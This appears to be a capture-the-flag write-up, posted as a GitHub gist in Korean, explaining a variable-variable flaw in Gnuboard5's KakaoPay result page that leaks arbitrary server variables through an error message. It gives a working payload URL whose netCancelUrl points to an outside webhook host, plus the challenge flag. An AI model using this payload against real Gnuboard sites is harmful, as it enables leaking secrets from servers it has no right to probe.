Skip to content

Instantly share code, notes, and snippets.

@sqrtrev
Created February 12, 2022 20:01
Show Gist options
  • Save sqrtrev/864e813bb90cc1a0e9d5bf5bc1f476f8 to your computer and use it in GitHub Desktop.
Save sqrtrev/864e813bb90cc1a0e9d5bf5bc1f476f8 to your computer and use it in GitHub Desktop.

Gnuboard (Author: sqrtrev)

https://github.com/gnuboard/gnuboard5/blob/master/shop/kakaopay/pc_pay_result.php#L65 를 보게되면, HttpClient 클래스를 이용해서 $authUrl에 통신을 시도한다. 여기서 $authUrl$_REQUEST를 통해서 전달되며 (https://github.com/gnuboard/gnuboard5/blob/master/shop/kakaopay/pc_pay_result.php#L33) 우리가 컨트롤 가능한 값이다. https://github.com/gnuboard/gnuboard5/blob/master/shop/kakaopay/pc_pay_result.php#L176를 보면 리퀘스트를 보내고, 실패했을 경우 response body를 $netcancelResultString에 저장한다. 이후, https://github.com/gnuboard/gnuboard5/blob/master/shop/kakaopay/pc_pay_result.php#L186-L187에서 str_replace를 해주는데 여기서 취약점이 발생하게 된다. PHP의 특성상 $$변수의 형태로 값을 사용할 경우, $변수내용을 참조한 것과 같은 행동을 취하게 된다. 따라서, 첫번째 str_replace에서 $body내용을 참고하게 하고, 두번째 str_replace에서는 우리가 원하는 변수에 접근하게 된다. 여기서, $authToken은 우리가 컨트롤 가능한 값이므로 (https://github.com/gnuboard/gnuboard5/blob/master/shop/kakaopay/pc_pay_result.php#L31), 해당 변수를 이용하기로 했다. authToken=flag로 주고, HttpClient->body에서 authToken을 리턴한다고 가정하자. str_replace 과정에서 $$Http->body == $authToken이 될 것이다. 즉, $netcancelResultString$authToken의 값을 가지게 된다. 두번째 str_replace에 들어가면서, 마찬가지로 $$netcancelResultString == $flag가 되므로, $netcancelResultString은 $flag변수의 값을 가져오게 된다. 따라서 https://github.com/gnuboard/gnuboard5/blob/master/shop/kakaopay/pc_pay_result.php#L189에서 에러를 이용해 임의 변수를 출력시킬 수 있다.

Payload:

http://1.230.253.91:5000/shop/kakaopay/pc_pay_result.php?authUrl=http://a.com&netCancelUrl=https://webhook.site/c27a0a7d-d491-4d23-93b1-2c52b2a41941&authToken=flag&resultCode=0000

Flag:

hsctf{799c12711fd9d697a00ae3e6329a7979cc648d7cdae0fbb3d62f23a1f7c7f544}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment